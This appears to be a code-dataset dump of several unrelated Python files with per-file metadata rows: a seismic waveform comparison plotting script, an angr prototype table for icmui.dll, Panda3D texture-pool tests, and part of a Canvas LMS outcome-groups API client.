ax_2 = fig.add_subplot(
waves_perpage, 6, index * 6 + 2, sharey=ax_1)
# * get the traces
obs = each_plot_trace_1.obs_z
syn_1 = each_plot_trace_1.syn_z
syn_2 = each_plot_trace_2.syn_z
# * now we should get x
x_obs = np.linspace(0, obs.stats.endtime -
obs.stats.starttime, obs.stats.npts)
x_syn_1 = np.linspace(0, syn_1.stats.endtime -
syn_1.stats.starttime, syn_1.stats.npts)
x_syn_2 = np.linspace(0, syn_2.stats.endtime -
syn_2.stats.starttime, syn_2.stats.npts)
y_obs = obs.data
y_syn_1 = syn_1.data
y_syn_2 = syn_2.data
ax_1.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_1.plot(x_syn_1, y_syn_1, color="b", linewidth=6.0)
ax_2.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_2.plot(x_syn_2, y_syn_2, color="r", linewidth=6.0)
windows_list_1 = windows_dict_1[each_plot_id]["surface_z"].windows
windows_list_2 = windows_dict_2[each_plot_id]["surface_z"].windows
each_window_1 = windows_list_1[0]
each_window_2 = windows_list_2[0]
xmin, xmax = ax_1.get_xlim()
x_text = (0 - xmin) / (xmax - xmin)
ax_1.text(x_text, 0.73, f"snr:{each_window_1.snr_energy:.2f}\ncc:{each_window_1.cc:.2f}\ndeltat:{each_window_1.deltat:.2f}\nsimilarity:{each_window_1.similarity:.2f}",
transform=ax_1.transAxes, fontsize=50)
ax_1.text(((xmax-90) - xmin) / (xmax - xmin), 0.73, f"component:Z\nid:{each_plot_id}\ngcarc:{each_plot_trace_1.info['gcarc']:.2f}\nazimuth:{each_plot_trace_1.info['azimuth']:.2f}",
transform=ax_1.transAxes, fontsize=50)
xmin, xmax = ax_2.get_xlim()
x_text = (0 - xmin) / (xmax - xmin)
ax_2.text(x_text, 0.73, f"snr:{each_window_2.snr_energy:.2f}\ncc:{each_window_2.cc:.2f}\ndeltat:{each_window_2.deltat:.2f}\nsimilarity:{each_window_2.similarity:.2f}",
transform=ax_2.transAxes, fontsize=50)
ax_2.text(((xmax-90) - xmin) / (xmax - xmin), 0.73, f"component:Z\nid:{each_plot_id}\ngcarc:{each_plot_trace_2.info['gcarc']:.2f}\nazimuth:{each_plot_trace_2.info['azimuth']:.2f}",
transform=ax_2.transAxes, fontsize=50)
if (("surface_z" in status_dict[each_plot_id]) and (status_dict[each_plot_id]["surface_z"])):
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='green')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='green')
else:
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_1.get_yaxis().set_ticklabels([])
ax_2.get_yaxis().set_ticklabels([])
ax_1.spines["top"].set_visible(False)
ax_1.spines["right"].set_visible(False)
ax_1.spines["bottom"].set_visible(False)
ax_1.spines["left"].set_visible(False)
ax_2.spines["top"].set_visible(False)
ax_2.spines["right"].set_visible(False)
ax_2.spines["bottom"].set_visible(False)
ax_2.spines["left"].set_visible(False)
xticks = np.arange(np.min(x_obs), np.max(
x_obs) + 1, round(((np.max(x_obs)-np.min(x_obs))/8), -1))
ax_1.set_xticks(xticks)
ax_2.set_xticks(xticks)
ax_1.tick_params(axis="x", labelsize=50)
ax_2.tick_params(axis="x", labelsize=50)
# * and we can plot surface_r
ax_1 = fig.add_subplot(waves_perpage, 6, index * 6 + 3)
ax_2 = fig.add_subplot(
waves_perpage, 6, index * 6 + 4, sharey=ax_1)
# * get the traces
obs = each_plot_trace_1.obs_r
syn_1 = each_plot_trace_1.syn_r
syn_2 = each_plot_trace_2.syn_r
# * now we should get x
x_obs = np.linspace(0, obs.stats.endtime -
obs.stats.starttime, obs.stats.npts)
x_syn_1 = np.linspace(0, syn_1.stats.endtime -
syn_1.stats.starttime, syn_1.stats.npts)
x_syn_2 = np.linspace(0, syn_2.stats.endtime -
syn_2.stats.starttime, syn_2.stats.npts)
y_obs = obs.data
y_syn_1 = syn_1.data
y_syn_2 = syn_2.data
ax_1.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_1.plot(x_syn_1, y_syn_1, color="b", linewidth=6.0)
ax_2.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_2.plot(x_syn_2, y_syn_2, color="r", linewidth=6.0)
windows_list_1 = windows_dict_1[each_plot_id]["surface_r"].windows
windows_list_2 = windows_dict_2[each_plot_id]["surface_r"].windows
each_window_1 = windows_list_1[0]
each_window_2 = windows_list_2[0]
xmin, xmax = ax_1.get_xlim()
x_text = (0 - xmin) / (xmax - xmin)
ax_1.text(x_text, 0.73, f"snr:{each_window_1.snr_energy:.2f}\ncc:{each_window_1.cc:.2f}\ndeltat:{each_window_1.deltat:.2f}\nsimilarity:{each_window_1.similarity:.2f}",
transform=ax_1.transAxes, fontsize=50)
ax_1.text(((xmax-90) - xmin) / (xmax - xmin), 0.73, f"component:R\nid:{each_plot_id}\ngcarc:{each_plot_trace_1.info['gcarc']:.2f}\nazimuth:{each_plot_trace_1.info['azimuth']:.2f}",
transform=ax_1.transAxes, fontsize=50)
xmin, xmax = ax_2.get_xlim()
x_text = (0 - xmin) / (xmax - xmin)
ax_2.text(x_text, 0.73, f"snr:{each_window_2.snr_energy:.2f}\ncc:{each_window_2.cc:.2f}\ndeltat:{each_window_2.deltat:.2f}\nsimilarity:{each_window_2.similarity:.2f}",
transform=ax_2.transAxes, fontsize=50)
ax_2.text(((xmax-90) - xmin) / (xmax - xmin), 0.73, f"component:R\nid:{each_plot_id}\ngcarc:{each_plot_trace_2.info['gcarc']:.2f}\nazimuth:{each_plot_trace_2.info['azimuth']:.2f}",
transform=ax_2.transAxes, fontsize=50)
if (("surface_r" in status_dict[each_plot_id]) and (status_dict[each_plot_id]["surface_r"])):
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='green')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='green')
else:
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_1.get_yaxis().set_ticklabels([])
ax_2.get_yaxis().set_ticklabels([])
ax_1.spines["top"].set_visible(False)
ax_1.spines["right"].set_visible(False)
ax_1.spines["bottom"].set_visible(False)
ax_1.spines["left"].set_visible(False)
ax_2.spines["top"].set_visible(False)
ax_2.spines["right"].set_visible(False)
ax_2.spines["bottom"].set_visible(False)
ax_2.spines["left"].set_visible(False)
xticks = np.arange(np.min(x_obs), np.max(
x_obs) + 1, round(((np.max(x_obs)-np.min(x_obs))/8), -1))
ax_1.set_xticks(xticks)
ax_2.set_xticks(xticks)
ax_1.tick_params(axis="x", labelsize=50)
ax_2.tick_params(axis="x", labelsize=50)
# * lastly we can plot surface_t
ax_1 = fig.add_subplot(waves_perpage, 6, index * 6 + 5)
ax_2 = fig.add_subplot(
waves_perpage, 6, index * 6 + 6, sharey=ax_1)
# * get the traces
obs = each_plot_trace_1.obs_t
syn_1 = each_plot_trace_1.syn_t
syn_2 = each_plot_trace_2.syn_t
# * now we should get x
x_obs = np.linspace(0, obs.stats.endtime -
obs.stats.starttime, obs.stats.npts)
x_syn_1 = np.linspace(0, syn_1.stats.endtime -
syn_1.stats.starttime, syn_1.stats.npts)
x_syn_2 = np.linspace(0, syn_2.stats.endtime -
syn_2.stats.starttime, syn_2.stats.npts)
y_obs = obs.data
y_syn_1 = syn_1.data
y_syn_2 = syn_2.data
ax_1.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_1.plot(x_syn_1, y_syn_1, color="b", linewidth=6.0)
ax_2.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_2.plot(x_syn_2, y_syn_2, color="r", linewidth=6.0)
windows_list_1 = windows_dict_1[each_plot_id]["surface_t"].windows
windows_list_2 = windows_dict_2[each_plot_id]["surface_t"].windows
each_window_1 = windows_list_1[0]
each_window_2 = windows_list_2[0]
xmin, xmax = ax_1.get_xlim()
x_text = (0 - xmin) / (xmax - xmin)
ax_1.text(x_text, 0.73, f"snr:{each_window_1.snr_energy:.2f}\ncc:{each_window_1.cc:.2f}\ndeltat:{each_window_1.deltat:.2f}\nsimilarity:{each_window_1.similarity:.2f}",
transform=ax_1.transAxes, fontsize=50)
ax_1.text(((xmax-90) - xmin) / (xmax - xmin), 0.73, f"component:T\nid:{each_plot_id}\ngcarc:{each_plot_trace_1.info['gcarc']:.2f}\nazimuth:{each_plot_trace_1.info['azimuth']:.2f}",
transform=ax_1.transAxes, fontsize=50)
xmin, xmax = ax_2.get_xlim()
x_text = (0 - xmin) / (xmax - xmin)
ax_2.text(x_text, 0.73, f"snr:{each_window_2.snr_energy:.2f}\ncc:{each_window_2.cc:.2f}\ndeltat:{each_window_2.deltat:.2f}\nsimilarity:{each_window_2.similarity:.2f}",
transform=ax_2.transAxes, fontsize=50)
ax_2.text(((xmax-90) - xmin) / (xmax - xmin), 0.73, f"component:T\nid:{each_plot_id}\ngcarc:{each_plot_trace_2.info['gcarc']:.2f}\nazimuth:{each_plot_trace_2.info['azimuth']:.2f}",
transform=ax_2.transAxes, fontsize=50)
if (("surface_t" in status_dict[each_plot_id]) and (status_dict[each_plot_id]["surface_t"])):
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='green')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='green')
else:
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_1.get_yaxis().set_ticklabels([])
ax_2.get_yaxis().set_ticklabels([])
ax_1.spines["top"].set_visible(False)
ax_1.spines["right"].set_visible(False)
ax_1.spines["bottom"].set_visible(False)
ax_1.spines["left"].set_visible(False)
ax_2.spines["top"].set_visible(False)
ax_2.spines["right"].set_visible(False)
ax_2.spines["bottom"].set_visible(False)
ax_2.spines["left"].set_visible(False)
xticks = np.arange(np.min(x_obs), np.max(
x_obs) + 1, round(((np.max(x_obs)-np.min(x_obs))/8), -1))
ax_1.set_xticks(xticks)
ax_2.set_xticks(xticks)
ax_1.tick_params(axis="x", labelsize=50)
ax_2.tick_params(axis="x", labelsize=50)
plt.subplots_adjust(wspace=0, hspace=0, top=0.85)
fig.tight_layout()
pdf.savefig(fig)
plt.close(fig=fig)
pdf.close()
del obs_ds
del syn_ds_1
del syn_ds_2
if (use_tqdm):
t.close()
if __name__ == "__main__":
@click.command()
@click.option('--obs_asdf', required=True, type=str)
@click.option('--syn_asdf_1', required=True, type=str)
@click.option('--syn_asdf_2', required=True, type=str)
@click.option('--azimuth_width', required=True, type=int)
@click.option('--output_dir', required=True, type=str)
@click.option('--waves_perpage', required=True, type=int)
@click.option('--info_dir', required=True, type=str)
@click.option('--misfit_windows_path_1', required=True, type=str)
@click.option('--misfit_windows_path_2', required=True, type=str)
@click.option('--snr', required=True, type=float)
@click.option('--cc', required=True, type=float)
@click.option('--deltat', required=True, type=float)
@click.option('--use_tqdm', is_flag=True, default=False)
@click.option('--with_surface', is_flag=True, default=False)
def main(obs_asdf, syn_asdf_1, syn_asdf_2, azimuth_width, output_dir, waves_perpage,
info_dir, misfit_windows_path_1, misfit_windows_path_2, snr, cc, deltat, use_tqdm, with_surface):
kernel(obs_asdf, syn_asdf_1, syn_asdf_2, azimuth_width, output_dir, waves_perpage,
info_dir, misfit_windows_path_1, misfit_windows_path_2, snr, cc, deltat, use_tqdm, with_surface)
main() # pylint: disable=no-value-for-parameter
| 57.255125
| 200
| 0.536224
| 6,485
| 50,270
| 3.835929
| 0.047957
| 0.01411
| 0.029265
| 0.028702
| 0.91337
| 0.898456
| 0.890617
| 0.882377
| 0.859664
| 0.855885
| 0
| 0.040981
| 0.357311
| 50,270
| 877
| 201
| 57.32041
| 0.728984
| 0.047503
| 0
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| 1
| 0.031209
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| 0.07753
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| false
| 0
| 0.014304
| 0.002601
| 0.040312
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| 0
| null | 0
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| 1
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| 0
|
0
| 8
|
6633380bf04bca33d814f9fb63bd7e8eedf2a963
| 4,102
|
py
|
Python
|
angr/procedures/definitions/win32_icmui.py
|
r4b3rt/angr
|
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
|
[
"BSD-2-Clause"
] | null | null | null |
angr/procedures/definitions/win32_icmui.py
|
r4b3rt/angr
|
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
|
[
"BSD-2-Clause"
] | null | null | null |
angr/procedures/definitions/win32_icmui.py
|
r4b3rt/angr
|
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
|
[
"BSD-2-Clause"
] | null | null | null |
# pylint:disable=line-too-long
import logging
from ...sim_type import SimTypeFunction, SimTypeShort, SimTypeInt, SimTypeLong, SimTypeLongLong, SimTypeDouble, SimTypeFloat, SimTypePointer, SimTypeChar, SimStruct, SimTypeFixedSizeArray, SimTypeBottom, SimUnion, SimTypeBool
from ...calling_conventions import SimCCStdcall, SimCCMicrosoftAMD64
from .. import SIM_PROCEDURES as P
from . import SimLibrary
_l = logging.getLogger(name=__name__)
lib = SimLibrary()
lib.set_default_cc('X86', SimCCStdcall)
lib.set_default_cc('AMD64', SimCCMicrosoftAMD64)
lib.set_library_names("icmui.dll")
prototypes = \
{
#
'SetupColorMatchingW': SimTypeFunction([SimTypePointer(SimStruct({"dwSize": SimTypeInt(signed=False, label="UInt32"), "dwVersion": SimTypeInt(signed=False, label="UInt32"), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "hwndOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pSourceName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pDisplayName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pPrinterName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwRenderIntent": SimTypeInt(signed=False, label="UInt32"), "dwProofingIntent": SimTypeInt(signed=False, label="UInt32"), "pMonitorProfile": SimTypePointer(SimTypeChar(label="Char"), offset=0), "ccMonitorProfile": SimTypeInt(signed=False, label="UInt32"), "pPrinterProfile": SimTypePointer(SimTypeChar(label="Char"), offset=0), "ccPrinterProfile": SimTypeInt(signed=False, label="UInt32"), "pTargetProfile": SimTypePointer(SimTypeChar(label="Char"), offset=0), "ccTargetProfile": SimTypeInt(signed=False, label="UInt32"), "lpfnHook": SimTypeBottom(label="DLGPROC"), "lParam": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "lpfnApplyCallback": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="COLORMATCHSETUPW"), offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["param0", "param1"]), offset=0), "lParamApplyCallback": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="COLORMATCHSETUPW", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pcms"]),
#
'SetupColorMatchingA': SimTypeFunction([SimTypePointer(SimStruct({"dwSize": SimTypeInt(signed=False, label="UInt32"), "dwVersion": SimTypeInt(signed=False, label="UInt32"), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "hwndOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pSourceName": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "pDisplayName": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "pPrinterName": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwRenderIntent": SimTypeInt(signed=False, label="UInt32"), "dwProofingIntent": SimTypeInt(signed=False, label="UInt32"), "pMonitorProfile": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "ccMonitorProfile": SimTypeInt(signed=False, label="UInt32"), "pPrinterProfile": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "ccPrinterProfile": SimTypeInt(signed=False, label="UInt32"), "pTargetProfile": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "ccTargetProfile": SimTypeInt(signed=False, label="UInt32"), "lpfnHook": SimTypeBottom(label="DLGPROC"), "lParam": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "lpfnApplyCallback": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="COLORMATCHSETUPA"), offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["param0", "param1"]), offset=0), "lParamApplyCallback": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="COLORMATCHSETUPA", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pcms"]),
}
lib.set_prototypes(prototypes)
| 157.769231
| 1,700
| 0.755729
| 424
| 4,102
| 7.266509
| 0.209906
| 0.145407
| 0.109056
| 0.135021
| 0.803635
| 0.803635
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| 0.72444
| 0.72444
| 0
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| 4,102
| 25
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| 1
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| null | 0
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| 0
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| 0
| 0
|
0
| 9
|
b07e8a0cb9c827d429998af3b19cd28f3cc40568
| 5,951
|
py
|
Python
|
tests/gobj/test_texture_pool.py
|
cmarshall108/panda3d-python3
|
8bea2c0c120b03ec1c9fd179701fdeb7510bb97b
|
[
"PHP-3.0",
"PHP-3.01"
] | null | null | null |
tests/gobj/test_texture_pool.py
|
cmarshall108/panda3d-python3
|
8bea2c0c120b03ec1c9fd179701fdeb7510bb97b
|
[
"PHP-3.0",
"PHP-3.01"
] | null | null | null |
tests/gobj/test_texture_pool.py
|
cmarshall108/panda3d-python3
|
8bea2c0c120b03ec1c9fd179701fdeb7510bb97b
|
[
"PHP-3.0",
"PHP-3.01"
] | null | null | null |
from panda3d import core
import pytest
import tempfile
@pytest.fixture(scope='function')
def pool():
"This fixture ensures the pool is properly emptied"
pool = core.TexturePool
pool.release_all_textures()
yield pool
pool.release_all_textures()
def write_image(filename, channels):
img = core.PNMImage(1, 1, channels)
img.set_xel_a(0, 0, (0.0, 0.25, 0.5, 0.75))
assert img.write(filename)
@pytest.fixture(scope='session')
def image_rgb_path():
"Generates an RGB image."
file = tempfile.NamedTemporaryFile(suffix='-rgb.png')
write_image(file.name, 3)
yield file.name
file.close()
@pytest.fixture(scope='session')
def image_rgba_path():
"Generates an RGBA image."
file = tempfile.NamedTemporaryFile(suffix='-rgba.png')
write_image(file.name, 4)
yield file.name
file.close()
@pytest.fixture(scope='session')
def image_gray_path():
"Generates a grayscale image."
file = tempfile.NamedTemporaryFile(suffix='-gray.png')
write_image(file.name, 1)
yield file.name
file.close()
def test_load_texture_rgba(pool, image_rgba_path):
tex = pool.load_texture(image_rgba_path)
assert pool.has_texture(image_rgba_path)
assert tex.num_components == 4
def test_load_texture_rgba4(pool, image_rgba_path):
tex = pool.load_texture(image_rgba_path, 4)
assert pool.has_texture(image_rgba_path)
assert tex.num_components == 4
def test_load_texture_rgba3(pool, image_rgba_path):
tex = pool.load_texture(image_rgba_path, 3)
assert pool.has_texture(image_rgba_path)
assert tex.num_components == 3
def test_load_texture_rgba2(pool, image_rgba_path):
tex = pool.load_texture(image_rgba_path, 2)
assert pool.has_texture(image_rgba_path)
assert tex.num_components == 2
def test_load_texture_rgba1(pool, image_rgba_path):
tex = pool.load_texture(image_rgba_path, 1)
assert pool.has_texture(image_rgba_path)
assert tex.num_components == 1
def test_load_texture_rgb(pool, image_rgb_path):
tex = pool.load_texture(image_rgb_path)
assert pool.has_texture(image_rgb_path)
assert tex.num_components == 3
def test_load_texture_rgb4(pool, image_rgb_path):
# Will not increase this
tex = pool.load_texture(image_rgb_path, 4)
assert pool.has_texture(image_rgb_path)
assert tex.num_components == 3
def test_load_texture_rgb3(pool, image_rgb_path):
tex = pool.load_texture(image_rgb_path, 3)
assert pool.has_texture(image_rgb_path)
assert tex.num_components == 3
def test_load_texture_rgb2(pool, image_rgb_path):
# Cannot reduce this, since it would add an alpha channel
tex = pool.load_texture(image_rgb_path, 2)
assert pool.has_texture(image_rgb_path)
assert tex.num_components == 3
def test_load_texture_rgb1(pool, image_rgb_path):
tex = pool.load_texture(image_rgb_path, 1)
assert pool.has_texture(image_rgb_path)
assert tex.num_components == 1
def test_load_texture_rgba_alpha(pool, image_rgba_path, image_gray_path):
tex = pool.load_texture(image_rgba_path, image_gray_path)
assert tex.num_components == 4
def test_load_texture_rgba4_alpha(pool, image_rgba_path, image_gray_path):
tex = pool.load_texture(image_rgba_path, image_gray_path, 4)
assert tex.num_components == 4
def test_load_texture_rgba3_alpha(pool, image_rgba_path, image_gray_path):
tex = pool.load_texture(image_rgba_path, image_gray_path, 3)
assert tex.num_components == 4
def test_load_texture_rgba2_alpha(pool, image_rgba_path, image_gray_path):
#FIXME: why is this not consistent with test_load_texture_rgb2_alpha?
tex = pool.load_texture(image_rgba_path, image_gray_path, 2)
assert tex.num_components == 2
def test_load_texture_rgba1_alpha(pool, image_rgba_path, image_gray_path):
tex = pool.load_texture(image_rgba_path, image_gray_path, 1)
assert tex.num_components == 2
def test_load_texture_rgb_alpha(pool, image_rgb_path, image_gray_path):
tex = pool.load_texture(image_rgb_path, image_gray_path)
assert tex.num_components == 4
def test_load_texture_rgb4_alpha(pool, image_rgb_path, image_gray_path):
tex = pool.load_texture(image_rgb_path, image_gray_path, 4)
assert tex.num_components == 4
def test_load_texture_rgb3_alpha(pool, image_rgb_path, image_gray_path):
tex = pool.load_texture(image_rgb_path, image_gray_path, 3)
assert tex.num_components == 4
def test_load_texture_rgb2_alpha(pool, image_rgb_path, image_gray_path):
#FIXME: why is this not consistent with test_load_texture_rgba2_alpha?
tex = pool.load_texture(image_rgb_path, image_gray_path, 2)
assert tex.num_components == 4
def test_load_texture_rgb1_alpha(pool, image_rgb_path, image_gray_path):
tex = pool.load_texture(image_rgb_path, image_gray_path, 1)
assert tex.num_components == 2
def test_reload_texture_fewer_channels(pool, image_rgba_path):
tex = pool.load_texture(image_rgba_path)
assert pool.has_texture(image_rgba_path)
assert tex.num_components == 4
tex = pool.load_texture(image_rgba_path, 3)
assert tex.num_components == 3
def test_reload_texture_more_channels(pool, image_rgba_path):
tex = pool.load_texture(image_rgba_path, 3)
assert pool.has_texture(image_rgba_path)
assert tex.num_components == 3
tex = pool.load_texture(image_rgba_path)
assert tex.num_components == 4
def test_reload_texture_with_alpha(pool, image_rgb_path, image_gray_path):
tex = pool.load_texture(image_rgb_path)
assert pool.has_texture(image_rgb_path)
assert tex.num_components == 3
tex = pool.load_texture(image_rgb_path, image_gray_path)
assert tex.num_components == 4
def test_reload_texture_without_alpha(pool, image_rgb_path, image_gray_path):
tex = pool.load_texture(image_rgb_path, image_gray_path)
assert tex.num_components == 4
tex = pool.load_texture(image_rgb_path)
assert tex.num_components == 3
| 30.208122
| 77
| 0.761049
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0
| 7
|
b0a1b2ed73631fafb4fbd02944d8cfe8ee4758e7
| 55,555
|
py
|
Python
|
canvas_sdk/methods/outcome_groups.py
|
david-house-harvard/canvas_python_sdk
|
9c2e59621a9a5667bc43c253ef801482b241a2c1
|
[
"MIT"
] | 21
|
2015-06-12T13:49:04.000Z
|
2021-11-08T05:37:44.000Z
|
canvas_sdk/methods/outcome_groups.py
|
david-house-harvard/canvas_python_sdk
|
9c2e59621a9a5667bc43c253ef801482b241a2c1
|
[
"MIT"
] | 44
|
2015-02-04T15:26:52.000Z
|
2021-12-03T17:47:00.000Z
|
canvas_sdk/methods/outcome_groups.py
|
david-house-harvard/canvas_python_sdk
|
9c2e59621a9a5667bc43c253ef801482b241a2c1
|
[
"MIT"
] | 7
|
2015-07-20T23:56:03.000Z
|
2021-02-23T17:13:00.000Z
|
from canvas_sdk import client, utils
def redirect_to_root_outcome_group_for_context_global(request_ctx, **request_kwargs):
"""
Convenience redirect to find the root outcome group for a particular
context. Will redirect to the appropriate outcome group's URL.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:return: Redirect to root outcome group for context
:rtype: requests.Response (with void data)
"""
path = '/v1/global/root_outcome_group'
url = request_ctx.base_api_url + path.format()
response = client.get(request_ctx, url, **request_kwargs)
return response
def redirect_to_root_outcome_group_for_context_accounts(request_ctx, account_id, **request_kwargs):
"""
Convenience redirect to find the root outcome group for a particular
context. Will redirect to the appropriate outcome group's URL.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:return: Redirect to root outcome group for context
:rtype: requests.Response (with void data)
"""
path = '/v1/accounts/{account_id}/root_outcome_group'
url = request_ctx.base_api_url + path.format(account_id=account_id)
response = client.get(request_ctx, url, **request_kwargs)
return response
def redirect_to_root_outcome_group_for_context_courses(request_ctx, course_id, **request_kwargs):
"""
Convenience redirect to find the root outcome group for a particular
context. Will redirect to the appropriate outcome group's URL.
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:return: Redirect to root outcome group for context
:rtype: requests.Response (with void data)
"""
path = '/v1/courses/{course_id}/root_outcome_group'
url = request_ctx.base_api_url + path.format(course_id=course_id)
response = client.get(request_ctx, url, **request_kwargs)
return response
def get_all_outcome_groups_for_context_accounts(request_ctx, account_id, per_page=None, **request_kwargs):
"""
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: Get all outcome groups for context
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/accounts/{account_id}/outcome_groups'
payload = {
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(account_id=account_id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def get_all_outcome_groups_for_context_courses(request_ctx, course_id, per_page=None, **request_kwargs):
"""
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: Get all outcome groups for context
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/courses/{course_id}/outcome_groups'
payload = {
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(course_id=course_id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def get_all_outcome_links_for_context_accounts(request_ctx, account_id, outcome_style=None, outcome_group_style=None, per_page=None, **request_kwargs):
"""
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param outcome_style: (optional) The detail level of the outcomes. Defaults to "abbrev". Specify "full" for more information.
:type outcome_style: string or None
:param outcome_group_style: (optional) The detail level of the outcome groups. Defaults to "abbrev". Specify "full" for more information.
:type outcome_group_style: string or None
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: Get all outcome links for context
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/accounts/{account_id}/outcome_group_links'
payload = {
'outcome_style' : outcome_style,
'outcome_group_style' : outcome_group_style,
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(account_id=account_id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def get_all_outcome_links_for_context_courses(request_ctx, course_id, outcome_style=None, outcome_group_style=None, per_page=None, **request_kwargs):
"""
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param outcome_style: (optional) The detail level of the outcomes. Defaults to "abbrev". Specify "full" for more information.
:type outcome_style: string or None
:param outcome_group_style: (optional) The detail level of the outcome groups. Defaults to "abbrev". Specify "full" for more information.
:type outcome_group_style: string or None
:param per_page: (optional) Set how many results canvas should return, defaults to config.LIMIT_PER_PAGE
:type per_page: integer or None
:return: Get all outcome links for context
:rtype: requests.Response (with array data)
"""
if per_page is None:
per_page = request_ctx.per_page
path = '/v1/courses/{course_id}/outcome_group_links'
payload = {
'outcome_style' : outcome_style,
'outcome_group_style' : outcome_group_style,
'per_page' : per_page,
}
url = request_ctx.base_api_url + path.format(course_id=course_id)
response = client.get(request_ctx, url, payload=payload, **request_kwargs)
return response
def show_outcome_group_global(request_ctx, id, **request_kwargs):
"""
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:return: Show an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/global/outcome_groups/{id}'
url = request_ctx.base_api_url + path.format(id=id)
response = client.get(request_ctx, url, **request_kwargs)
return response
def show_outcome_group_accounts(request_ctx, account_id, id, **request_kwargs):
"""
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param account_id: (required) ID
:type account_id: string
:param id: (required) ID
:type id: string
:return: Show an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/accounts/{account_id}/outcome_groups/{id}'
url = request_ctx.base_api_url + path.format(account_id=account_id, id=id)
response = client.get(request_ctx, url, **request_kwargs)
return response
def show_outcome_group_courses(request_ctx, course_id, id, **request_kwargs):
"""
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param course_id: (required) ID
:type course_id: string
:param id: (required) ID
:type id: string
:return: Show an outcome group
:rtype: requests.Response (with OutcomeGroup data)
"""
path = '/v1/courses/{course_id}/outcome_groups/{id}'
url = request_ctx.base_api_url + path.format(course_id=course_id, id=id)
response = client.get(request_ctx, url, **request_kwargs)
return response
def update_outcome_group_global(request_ctx, id, title=None, description=None, vendor_guid=None, parent_outcome_group_id=None, **request_kwargs):
"""
Modify an existing outcome group. Fields not provided are left as is;
unrecognized fields are ignored.
When changing the parent outcome group, the new parent group must belong to
the same context as this outcome group, and must not be a descendant of
this outcome group (i.e. no cycles allowed).
:param request_ctx: The request context
:type request_ctx: :class:RequestContext
:param id: (required) ID
:type id: string
:param title: (optional) The new outcome group title.
